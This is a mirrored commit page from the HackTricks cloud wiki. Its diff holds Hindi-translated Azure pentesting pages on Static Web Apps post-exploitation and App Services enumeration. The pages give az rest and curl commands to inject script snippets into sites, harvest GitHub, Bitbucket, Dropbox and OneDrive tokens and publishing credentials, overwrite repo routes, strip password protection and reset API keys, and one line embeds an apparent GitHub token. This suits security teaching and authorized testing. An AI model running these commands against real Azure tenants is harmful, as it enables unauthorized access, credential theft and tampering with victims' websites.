mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-29 14:13:20 -08:00
Translated ['src/pentesting-cloud/azure-security/az-enumeration-tools.md
This commit is contained in:
@@ -99,15 +99,15 @@ Azure PowerShell AZ मॉड्यूल में कमांड इस प
|
||||
|
||||
#### Debug | MitM Az PowerShell
|
||||
|
||||
**`-Debug`** पैरामीटर का उपयोग करके यह देखना संभव है कि उपकरण सभी अनुरोध भेज रहा है:
|
||||
पैरामीटर **`-Debug`** का उपयोग करके यह देखना संभव है कि उपकरण सभी अनुरोधों को भेज रहा है:
|
||||
```bash
|
||||
Get-AzResourceGroup -Debug
|
||||
```
|
||||
**MitM** करने और **सभी अनुरोधों** की मैन्युअल जांच करने के लिए, आप env वेरिएबल्स `HTTPS_PROXY` और `HTTP_PROXY` को [**docs**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy) के अनुसार सेट कर सकते हैं।
|
||||
**MitM** करने और **सभी अनुरोधों** की मैन्युअल जांच करने के लिए, आप पर्यावरण चर `HTTPS_PROXY` और `HTTP_PROXY` को [**docs**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy) के अनुसार सेट कर सकते हैं।
|
||||
|
||||
### Microsoft Graph PowerShell
|
||||
|
||||
Microsoft Graph PowerShell एक क्रॉस-प्लेटफ़ॉर्म SDK है जो सभी Microsoft Graph APIs, जैसे SharePoint, Exchange, और Outlook, तक पहुँचने की अनुमति देता है, एकल एंडपॉइंट का उपयोग करके। यह PowerShell 7+, MSAL के माध्यम से आधुनिक प्रमाणीकरण, बाहरी पहचान, और उन्नत क्वेरी का समर्थन करता है। न्यूनतम विशेषाधिकार पहुँच पर ध्यान केंद्रित करते हुए, यह सुरक्षित संचालन सुनिश्चित करता है और नवीनतम Microsoft Graph API सुविधाओं के साथ संरेखित करने के लिए नियमित अपडेट प्राप्त करता है।
|
||||
Microsoft Graph PowerShell एक क्रॉस-प्लेटफ़ॉर्म SDK है जो सभी Microsoft Graph APIs, जैसे SharePoint, Exchange, और Outlook, तक पहुँचने की अनुमति देता है, एकल एंडपॉइंट का उपयोग करके। यह PowerShell 7+, MSAL के माध्यम से आधुनिक प्रमाणीकरण, बाहरी पहचान, और उन्नत प्रश्नों का समर्थन करता है। न्यूनतम विशेषाधिकार पहुँच पर ध्यान केंद्रित करते हुए, यह सुरक्षित संचालन सुनिश्चित करता है और नवीनतम Microsoft Graph API सुविधाओं के साथ संरेखित करने के लिए नियमित अपडेट प्राप्त करता है।
|
||||
|
||||
[**installation instructions**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation) के लिए इस लिंक का पालन करें।
|
||||
|
||||
@@ -126,4 +126,6 @@ Azure Active Directory (AD) मॉड्यूल, जो अब **deprecated**
|
||||
> [!TIP]
|
||||
> इसे Microsoft Graph PowerShell द्वारा प्रतिस्थापित किया गया है
|
||||
|
||||
इस लिंक का पालन करें [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD).
|
||||
इस लिंक पर [**स्थापना निर्देश**](https://www.powershellgallery.com/packages/AzureAD) के लिए जाएं।
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,162 +0,0 @@
|
||||
# Az - Static Web Apps Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Static Web Apps
|
||||
|
||||
इस सेवा के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-static-web-apps.md
|
||||
{{#endref}}
|
||||
|
||||
### Microsoft.Web/staticSites/snippets/write
|
||||
|
||||
एक स्निप्पेट बनाकर एक स्थिर वेब पृष्ठ को मनमाने HTML कोड को लोड करना संभव है। इससे एक हमलावर को वेब ऐप के अंदर JS कोड इंजेक्ट करने और संवेदनशील जानकारी जैसे क्रेडेंशियल या म्नेमोनिक कुंजी (वेब3 वॉलेट में) चुराने की अनुमति मिल सकती है।
|
||||
|
||||
निम्नलिखित कमांड एक स्निप्पेट बनाएगी जो हमेशा वेब ऐप द्वारा लोड की जाएगी::
|
||||
```bash
|
||||
az rest \
|
||||
--method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"name": "supersnippet",
|
||||
"location": "Body",
|
||||
"applicableEnvironmentsMode": "AllEnvironments",
|
||||
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
|
||||
"environments": [],
|
||||
"insertBottom": false
|
||||
}
|
||||
}'
|
||||
```
|
||||
### कॉन्फ़िगर की गई तीसरी पार्टी क्रेडेंशियल्स पढ़ें
|
||||
|
||||
जैसा कि ऐप सेवा अनुभाग में समझाया गया है:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
निम्नलिखित कमांड चलाकर **तीसरी पार्टी क्रेडेंशियल्स** पढ़ना संभव है जो वर्तमान खाते में कॉन्फ़िगर की गई हैं। ध्यान दें कि यदि उदाहरण के लिए कुछ Github क्रेडेंशियल्स किसी अन्य उपयोगकर्ता में कॉन्फ़िगर किए गए हैं, तो आप किसी अन्य से टोकन तक पहुँच नहीं पाएंगे।
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
```
|
||||
यह कमांड Github, Bitbucket, Dropbox और OneDrive के लिए टोकन लौटाता है।
|
||||
|
||||
यहाँ टोकन की जांच करने के लिए कुछ कमांड उदाहरण दिए गए हैं:
|
||||
```bash
|
||||
# GitHub – List Repositories
|
||||
curl -H "Authorization: token <token>" \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
https://api.github.com/user/repos
|
||||
|
||||
# Bitbucket – List Repositories
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://api.bitbucket.org/2.0/repositories
|
||||
|
||||
# Dropbox – List Files in Root Folder
|
||||
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
|
||||
-H "Authorization: Bearer <token>" \
|
||||
-H "Content-Type: application/json" \
|
||||
--data '{"path": ""}'
|
||||
|
||||
# OneDrive – List Files in Root Folder
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
```
|
||||
### Overwrite file - Overwrite routes, HTML, JS...
|
||||
|
||||
यह संभव है कि **Github repo** के अंदर एक फ़ाइल को **overwritte** किया जाए जिसमें ऐप हो, Azure के माध्यम से **Github token** का उपयोग करके एक अनुरोध भेजकर जैसे कि निम्नलिखित, जो फ़ाइल के पथ, फ़ाइल की सामग्री और कमिट संदेश को इंगित करेगा।
|
||||
|
||||
इसका दुरुपयोग हमलावरों द्वारा किया जा सकता है ताकि वे मूल रूप से **वेब ऐप की सामग्री को बदल सकें** ताकि दुर्भावनापूर्ण सामग्री (क्रेडेंशियल्स, म्नेमोनिक कीज़ चुराना...) प्रदान की जा सके या बस **कुछ पथों को** अपने सर्वरों पर पुनः मार्गित करने के लिए `staticwebapp.config.json` फ़ाइल को ओवरराइट करके।
|
||||
|
||||
> [!WARNING]
|
||||
> ध्यान दें कि यदि कोई हमलावर किसी भी तरह से Github repo को समझौता करने में सफल होता है, तो वे Github से सीधे फ़ाइल को भी ओवरराइट कर सकते हैं।
|
||||
```bash
|
||||
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"commit": {
|
||||
"message": "Update static web app route configuration",
|
||||
"branchName": "main",
|
||||
"committer": {
|
||||
"name": "Azure App Service",
|
||||
"email": "donotreply@microsoft.com"
|
||||
},
|
||||
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
|
||||
"filePath": "staticwebapp.config.json",
|
||||
"message": "Update static web app route configuration",
|
||||
"repoName": "carlospolop/my-first-static-web-app",
|
||||
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
|
||||
},
|
||||
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
|
||||
}'
|
||||
```
|
||||
### Microsoft.Web/staticSites/config/write
|
||||
|
||||
इस अनुमति के साथ, यह **पासवर्ड को संशोधित करना** संभव है जो एक स्थिर वेब ऐप की सुरक्षा करता है या यहां तक कि हर वातावरण को अनलॉक करने के लिए निम्नलिखित अनुरोध भेजना:
|
||||
```bash
|
||||
# Change password
|
||||
az rest --method put \
|
||||
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{
|
||||
"name": "basicAuth",
|
||||
"type": "Microsoft.Web/staticSites/basicAuth",
|
||||
"properties": {
|
||||
"password": "SuperPassword123.",
|
||||
"secretUrl": "",
|
||||
"applicableEnvironmentsMode": "AllEnvironments"
|
||||
}
|
||||
}'
|
||||
|
||||
# Remove the need of a password
|
||||
az rest --method put \
|
||||
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{
|
||||
"name": "basicAuth",
|
||||
"type": "Microsoft.Web/staticSites/basicAuth",
|
||||
"properties": {
|
||||
"secretUrl": "",
|
||||
"applicableEnvironmentsMode": "SpecifiedEnvironments",
|
||||
"secretState": "None"
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Microsoft.Web/staticSites/listSecrets/action
|
||||
|
||||
यह अनुमति **API कुंजी तैनाती टोकन** प्राप्त करने की अनुमति देती है जो स्थिर ऐप के लिए है।
|
||||
|
||||
यह टोकन ऐप को तैनात करने की अनुमति देता है।
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
|
||||
```
|
||||
फिर, एक ऐप को अपडेट करने के लिए आप निम्नलिखित कमांड चला सकते हैं। ध्यान दें कि यह कमांड **कैसे Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) काम करता है** की जांच करके निकाली गई थी, क्योंकि यह वह है जिसे Azure ने डिफ़ॉल्ट रूप से उपयोग करने के लिए सेट किया है। इसलिए चित्र और पैरामीटर भविष्य में बदल सकते हैं।
|
||||
|
||||
1. रेपो डाउनलोड करें [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (या कोई अन्य रेपो जिसे आप तैनात करना चाहते हैं) और `cd react-basic` चलाएँ।
|
||||
2. उस कोड को बदलें जिसे आप तैनात करना चाहते हैं
|
||||
3. इसे तैनात करें (याद रखें कि `<api-token>` बदलना है):
|
||||
```bash
|
||||
docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
|
||||
```
|
||||
### Microsoft.Web/staticSites/write
|
||||
|
||||
इस अनुमति के साथ, **स्टेटिक वेब ऐप के स्रोत को एक अलग Github रिपॉजिटरी में बदलना संभव है**, हालाँकि, इसे स्वचालित रूप से प्रोविजन नहीं किया जाएगा क्योंकि यह आमतौर पर उस टोकन के साथ Github Action से किया जाना चाहिए जिसने क्रिया को अधिकृत किया है, क्योंकि यह टोकन स्वचालित रूप से रिपॉजिटरी के Github सीक्रेट्स के अंदर अपडेट नहीं होता (यह केवल ऐप के निर्माण के समय स्वचालित रूप से जोड़ा जाता है)।
|
||||
```bash
|
||||
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
|
||||
```
|
||||
### Microsoft.Web/staticSites/resetapikey/action
|
||||
|
||||
इस अनुमति के साथ **स्टेटिक वेब ऐप के API कुंजी को रीसेट करना संभव है** जो संभावित रूप से ऐप को स्वचालित रूप से तैनात करने वाले वर्कफ़्लो को DoS कर सकता है।
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -1,270 +0,0 @@
|
||||
# Az - App Services
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## App Service Basic Information
|
||||
|
||||
Azure App Services डेवलपर्स को **वेब एप्लिकेशन, मोबाइल ऐप बैकएंड, और APIs को बिना किसी रुकावट के बनाने, तैनात करने और स्केल करने** की अनुमति देता है। यह कई प्रोग्रामिंग भाषाओं का समर्थन करता है और कार्यक्षमता और प्रबंधन के लिए विभिन्न Azure उपकरणों और सेवाओं के साथ एकीकृत होता है।
|
||||
|
||||
प्रत्येक ऐप एक सैंडबॉक्स के अंदर चलता है लेकिन अलगाव App Service योजनाओं पर निर्भर करता है
|
||||
|
||||
- फ्री और शेयर किए गए स्तरों में ऐप साझा VMs पर चलते हैं
|
||||
- स्टैंडर्ड और प्रीमियम स्तरों में ऐप समर्पित VMs पर चलते हैं
|
||||
|
||||
> [!WARNING]
|
||||
> ध्यान दें कि **इनमें से कोई भी** अलगाव **अन्य सामान्य** **वेब कमजोरियों** (जैसे फ़ाइल अपलोड या इंजेक्शन) को **रोकता नहीं है**। और यदि एक **प्रबंधन पहचान** का उपयोग किया जाता है, तो यह **उन पर विशेषाधिकार बढ़ाने** में सक्षम हो सकता है।
|
||||
|
||||
ऐप्स में कुछ दिलचस्प कॉन्फ़िगरेशन हैं:
|
||||
|
||||
- **हमेशा चालू**: सुनिश्चित करता है कि ऐप हमेशा चल रहा है। यदि सक्षम नहीं किया गया, तो ऐप 20 मिनट की निष्क्रियता के बाद चलना बंद कर देगा और एक अनुरोध प्राप्त होने पर फिर से शुरू होगा।
|
||||
- यदि आपके पास एक वेबजॉब है जिसे लगातार चलाने की आवश्यकता है, तो यह आवश्यक है क्योंकि यदि ऐप रुक जाता है तो वेबजॉब भी रुक जाएगा।
|
||||
- **SSH**: यदि सक्षम है, तो पर्याप्त अनुमतियों वाला उपयोगकर्ता SSH का उपयोग करके ऐप से कनेक्ट कर सकता है।
|
||||
- **डीबगिंग**: यदि सक्षम है, तो पर्याप्त अनुमतियों वाला उपयोगकर्ता ऐप को डीबग कर सकता है। हालाँकि, यह हर 48 घंटे में स्वचालित रूप से अक्षम हो जाता है।
|
||||
- **वेब ऐप + डेटाबेस**: वेब कंसोल एक ऐप के साथ डेटाबेस बनाने की अनुमति देता है। इस मामले में, उपयोग करने के लिए डेटाबेस का चयन करना संभव है (SQLAzure, PostgreSQL, MySQL, MongoDB) और यह आपको Redis के लिए Azure Cache बनाने की भी अनुमति देता है।
|
||||
- डेटाबेस और Redis के लिए क्रेडेंशियल्स वाला URL **appsettings** में संग्रहीत किया जाएगा।
|
||||
- **कंटेनर**: कंटेनर के URL और इसे एक्सेस करने के लिए क्रेडेंशियल्स को इंगित करके ऐप सेवा में एक कंटेनर तैनात करना संभव है।
|
||||
|
||||
## Basic Authentication
|
||||
|
||||
जब एक वेब ऐप (और आमतौर पर एक Azure फ़ंक्शन) बनाया जाता है, तो यह इंगित करना संभव है कि क्या आप बेसिक ऑथेंटिकेशन सक्षम करना चाहते हैं। यह मूल रूप से **SCM और FTP** को एप्लिकेशन के लिए सक्षम करता है ताकि उन तकनीकों का उपयोग करके एप्लिकेशन को तैनात करना संभव हो सके।\
|
||||
इसके अलावा, उनके साथ कनेक्ट करने के लिए, Azure एक **API प्रदान करता है जो उपयोगकर्ता नाम, पासवर्ड और URL प्राप्त करने की अनुमति देता है** ताकि SCM और FTP सर्वरों से कनेक्ट किया जा सके।
|
||||
|
||||
आप एक वेब ब्राउज़र का उपयोग करके SCM से कनेक्ट कर सकते हैं `https://<SMC-URL>/BasicAuth` और वहां सभी फ़ाइलों और तैनातियों की जांच कर सकते हैं।
|
||||
|
||||
### Kudu
|
||||
|
||||
Kudu एक **तैनाती इंजन और Azure App Service और Function Apps के लिए प्रबंधन प्लेटफ़ॉर्म** है, जो Git-आधारित तैनातियों, दूरस्थ डीबगिंग, और वेब एप्लिकेशनों के लिए फ़ाइल प्रबंधन क्षमताएँ प्रदान करता है। यह वेब ऐप के SCM URL के माध्यम से सुलभ है।
|
||||
|
||||
ध्यान दें कि App Services और Function Apps द्वारा उपयोग किए जाने वाले Kudu संस्करण अलग हैं, Function apps का संस्करण बहुत अधिक सीमित है।
|
||||
|
||||
Kudu में आप कुछ दिलचस्प एंडपॉइंट पा सकते हैं:
|
||||
- `/DebugConsole`: एक कंसोल जो आपको Kudu चलाने वाले वातावरण में कमांड निष्पादित करने की अनुमति देता है।
|
||||
- ध्यान दें कि इस वातावरण में **मेटाडेटा सेवा तक पहुंच नहीं है** टोकन प्राप्त करने के लिए।
|
||||
- `/webssh/host`: एक वेब-आधारित SSH क्लाइंट जो आपको उस कंटेनर के अंदर कनेक्ट करने की अनुमति देता है जहां ऐप चल रहा है।
|
||||
- इस वातावरण में **मेटाडेटा सेवा तक पहुंच है** ताकि असाइन किए गए प्रबंधित पहचानों से टोकन प्राप्त किया जा सके।
|
||||
- `/Env`: सिस्टम, ऐप सेटिंग्स, env वेरिएबल्स, कनेक्शन स्ट्रिंग्स और HTTP हेडर के बारे में जानकारी प्राप्त करें।
|
||||
- `/wwwroot/`: वेब ऐप का रूट डायरेक्टरी। आप यहां से सभी फ़ाइलें डाउनलोड कर सकते हैं।
|
||||
|
||||
## Sources
|
||||
|
||||
App Services डिफ़ॉल्ट रूप से कोड को ज़िप फ़ाइल के रूप में अपलोड करने की अनुमति देते हैं, लेकिन यह एक तृतीय पक्ष सेवा से कनेक्ट करने और वहां से कोड प्राप्त करने की भी अनुमति देता है।
|
||||
|
||||
- वर्तमान में समर्थित तृतीय पक्ष स्रोत **Github** और **Bitbucket** हैं।
|
||||
- आप प्रमाणीकरण टोकन प्राप्त कर सकते हैं `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"`
|
||||
- Azure डिफ़ॉल्ट रूप से हर बार कोड अपडेट होने पर ऐप सेवा में कोड तैनात करने के लिए एक **Github Action** सेट करेगा।
|
||||
- यह वहां से कोड प्राप्त करने के लिए एक **दूरस्थ git रिपॉजिटरी** (उपयोगकर्ता नाम और पासवर्ड के साथ) इंगित करना भी संभव है।
|
||||
- आप दूरस्थ रिपॉजिटरी के लिए क्रेडेंशियल्स प्राप्त कर सकते हैं `az webapp deployment source show --name <app-name> --resource-group <res-group>` या `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
|
||||
- एक **Azure Repository** का उपयोग करना भी संभव है।
|
||||
- एक **स्थानीय git रिपॉजिटरी** को कॉन्फ़िगर करना भी संभव है।
|
||||
- आप `az webapp deployment source show --name <app-name> --resource-group <res-group>` के साथ git repo का URL प्राप्त कर सकते हैं और यह ऐप का SCM URL होगा।
|
||||
- इसे क्लोन करने के लिए आपको SCM क्रेडेंशियल्स की आवश्यकता होगी जिसे आप `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>` के साथ प्राप्त कर सकते हैं।
|
||||
|
||||
## Webjobs
|
||||
|
||||
Azure WebJobs **Azure App Service वातावरण में चलने वाले बैकग्राउंड कार्य** हैं। वे डेवलपर्स को अपने वेब एप्लिकेशनों के साथ स्क्रिप्ट या प्रोग्राम चलाने की अनुमति देते हैं, जिससे फ़ाइल प्रोसेसिंग, डेटा हैंडलिंग, या अनुसूचित कार्यों जैसे असिंक्रोनस या समय-गहन संचालन को संभालना आसान हो जाता है।
|
||||
वेब जॉब के 2 प्रकार हैं:
|
||||
- **निरंतर**: एक लूप में अनिश्चितकाल तक चलता है और इसे तुरंत बनाया जाने पर ट्रिगर किया जाता है। यह उन कार्यों के लिए आदर्श है जिन्हें निरंतर प्रोसेसिंग की आवश्यकता होती है। हालाँकि, यदि ऐप चलना बंद कर देता है क्योंकि हमेशा चालू अक्षम है और इसे पिछले 20 मिनट में कोई अनुरोध नहीं मिला है, तो वेब जॉब भी रुक जाएगा।
|
||||
- **ट्रिगर किया गया**: मांग पर या एक शेड्यूल के आधार पर चलता है। यह आवधिक कार्यों, जैसे बैच डेटा अपडेट या रखरखाव दिनचर्या के लिए सबसे उपयुक्त है।
|
||||
|
||||
Webjobs हमलावरों के दृष्टिकोण से बहुत दिलचस्प हैं क्योंकि उनका उपयोग **पर्यावरण में कोड निष्पादित करने** और **संलग्न प्रबंधित पहचानों** के लिए विशेषाधिकार बढ़ाने के लिए किया जा सकता है।
|
||||
|
||||
इसके अलावा, यह हमेशा दिलचस्प होता है कि Webjobs द्वारा उत्पन्न **लॉग** की जांच करें क्योंकि वे **संवेदनशील जानकारी** हो सकती हैं।
|
||||
|
||||
### Slots
|
||||
|
||||
Azure App Service Slots का उपयोग **एक ही App Service में एप्लिकेशन के विभिन्न संस्करणों को तैनात करने** के लिए किया जाता है। यह डेवलपर्स को उत्पादन वातावरण में तैनात करने से पहले एक अलग वातावरण में नई सुविधाओं या परिवर्तनों का परीक्षण करने की अनुमति देता है।
|
||||
|
||||
इसके अलावा, एक विशिष्ट स्लॉट के लिए **ट्रैफ़िक का प्रतिशत** रूट करना संभव है, जो **A/B परीक्षण** और बैकडोर उद्देश्यों के लिए उपयोगी है।
|
||||
|
||||
### Azure Function Apps
|
||||
|
||||
बुनियादी रूप से **Azure Function apps Azure App Service का एक उपसमुच्चय** हैं और यदि आप वेब कंसोल पर जाते हैं और सभी ऐप सेवाओं की सूची बनाते हैं या az cli में `az webapp list` निष्पादित करते हैं, तो आप **यहां सूचीबद्ध Function apps को भी देख पाएंगे**।
|
||||
|
||||
वास्तव में, कुछ **सुरक्षा से संबंधित विशेषताएँ** जो ऐप सेवाएँ उपयोग करती हैं (`webapp` az cli में), **Function apps द्वारा भी उपयोग की जाती हैं**।
|
||||
|
||||
### Enumeration
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az" }}
|
||||
```bash
|
||||
# List webapps
|
||||
az webapp list
|
||||
## Less information
|
||||
az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}" -o table
|
||||
## Get SCM URL of each webapp
|
||||
az webapp list | grep '"name"' | grep "\.scm\." | awk '{print $2}' | sed 's/"//g'
|
||||
|
||||
# Get info about 1 app
|
||||
az webapp show --name <name> --resource-group <res-group>
|
||||
|
||||
# Get instances of a webapp
|
||||
az webapp list-instances --name <name> --resource-group <res-group>
|
||||
## If you have enough perm you can go to the "consoleUrl" and access a shell inside the instance form the web
|
||||
|
||||
# Get access restrictions of an app
|
||||
az webapp config access-restriction show --name <name> --resource-group <res-group>
|
||||
|
||||
# Remove access restrictions
|
||||
az webapp config access-restriction remove --resource-group <res-group> -n <name> --rule-name <rule-name>
|
||||
|
||||
# Get connection strings of a webapp
|
||||
az webapp config connection-string list --name <name> --resource-group <res-group>
|
||||
|
||||
# Get appsettings of an app
|
||||
az webapp config appsettings list --name <name> --resource-group <res-group>
|
||||
|
||||
# Get SCM and FTP credentials
|
||||
az webapp deployment list-publishing-profiles --name <name> --resource-group <res-group>
|
||||
|
||||
# Get configured Auth information
|
||||
az webapp auth show --name <app-name> --resource-group <res-group>
|
||||
|
||||
# Get backups of a webapp
|
||||
az webapp config backup list --webapp-name <name> --resource-group <res-group>
|
||||
|
||||
# Get backups scheduled for a webapp
|
||||
az webapp config backup show --webapp-name <name> --resource-group <res-group>
|
||||
|
||||
# Get snapshots
|
||||
az webapp config snapshot list --resource-group <res-group> -n <name>
|
||||
|
||||
# Restore snapshot
|
||||
az webapp config snapshot restore -g <res-group> -n <name> --time 2018-12-11T23:34:16.8388367
|
||||
|
||||
# Get slots
|
||||
az webapp deployment slot list --name <AppName> --resource-group <ResourceGroupName> --output table
|
||||
az webapp show --slot <SlotName> --name <AppName> --resource-group <ResourceGroupName>
|
||||
|
||||
# Get traffic-routing
|
||||
az webapp traffic-routing show --name <AppName> --resource-group <ResourceGroupName>
|
||||
|
||||
# Get used container by the app
|
||||
az webapp config container show --name <name> --resource-group <res-group>
|
||||
|
||||
# Get storage account configurations of a webapp
|
||||
az webapp config storage-account list --name <name> --resource-group <res-group>
|
||||
|
||||
# Get configured container (if any) in the webapp, it could contain credentials
|
||||
az webapp config container show --name <name> --resource-group <res-group>
|
||||
|
||||
# Get Webjobs
|
||||
az webapp webjob continuous list --resource-group <res-group> --name <app-name>
|
||||
az webapp webjob triggered list --resource-group <res-group> --name <app-name>
|
||||
|
||||
# Read webjobs logs with Azure permissions
|
||||
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt" --resource "https://management.azure.com/"
|
||||
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/"
|
||||
|
||||
# Read webjobs logs with SCM credentials
|
||||
curl "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/lala/job_log.txt" \
|
||||
--user '<username>:<password>' -v
|
||||
|
||||
# Get connections of a webapp
|
||||
az webapp conection list --name <name> --resource-group <res-group>
|
||||
|
||||
# Get hybrid-connections of a webapp
|
||||
az webapp hybrid-connections list --name <name> --resource-group <res-group>
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az Powershell" }}
|
||||
```powershell
|
||||
# Get App Services and Function Apps
|
||||
Get-AzWebApp
|
||||
# Get only App Services
|
||||
Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"}
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="az get all" }}
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
# Get all App Service and Function Apps
|
||||
|
||||
# Define Azure subscription ID
|
||||
azure_subscription="your_subscription_id"
|
||||
|
||||
# Log in to Azure
|
||||
az login
|
||||
|
||||
# Select Azure subscription
|
||||
az account set --subscription $azure_subscription
|
||||
|
||||
# Get all App Services in the specified subscription
|
||||
list_app_services=$(az appservice list --query "[].{appServiceName: name, group: resourceGroup}" -o tsv)
|
||||
|
||||
# Iterate over each App Service
|
||||
echo "$list_app_services" | while IFS=$'\t' read -r appServiceName group; do
|
||||
# Get the type of the App Service
|
||||
service_type=$(az appservice show --name $appServiceName --resource-group $group --query "kind" -o tsv)
|
||||
|
||||
# Check if it is a Function App and print its name
|
||||
if [ "$service_type" == "functionapp" ]; then
|
||||
echo "Function App Name: $appServiceName"
|
||||
fi
|
||||
done
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
#### क्रेडेंशियल प्राप्त करें और वेबऐप कोड तक पहुँचें
|
||||
```bash
|
||||
# Get connection strings that could contain credentials (with DBs for example)
|
||||
az webapp config connection-string list --name <name> --resource-group <res-group>
|
||||
## Check how to use the DBs connection strings in the SQL page
|
||||
|
||||
# Get credentials to access the code and DB credentials if configured.
|
||||
az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>
|
||||
|
||||
|
||||
# Get git URL to access the code
|
||||
az webapp deployment source config-local-git --resource-group <res-group> -n <name>
|
||||
|
||||
# Access/Modify the code via git
|
||||
git clone 'https://<username>:<password>@name.scm.azurewebsites.net/repo-name.git'
|
||||
## In my case the username was: $nameofthewebapp and the password some random chars
|
||||
## If you change the code and do a push, the app is automatically redeployed
|
||||
```
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## वेब ऐप्स बनाने के उदाहरण
|
||||
|
||||
### स्थानीय से पायथन
|
||||
|
||||
यह ट्यूटोरियल [https://learn.microsoft.com/en-us/azure/app-service/quickstart-python](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python?tabs=flask%2Cwindows%2Cazure-cli%2Cazure-cli-deploy%2Cdeploy-instructions-azportal%2Cterminal-bash%2Cdeploy-instructions-zip-azcli) से आधारित है।
|
||||
```bash
|
||||
# Clone repository
|
||||
git clone https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart
|
||||
cd msdocs-python-flask-webapp-quickstart
|
||||
|
||||
# Create webapp from this code
|
||||
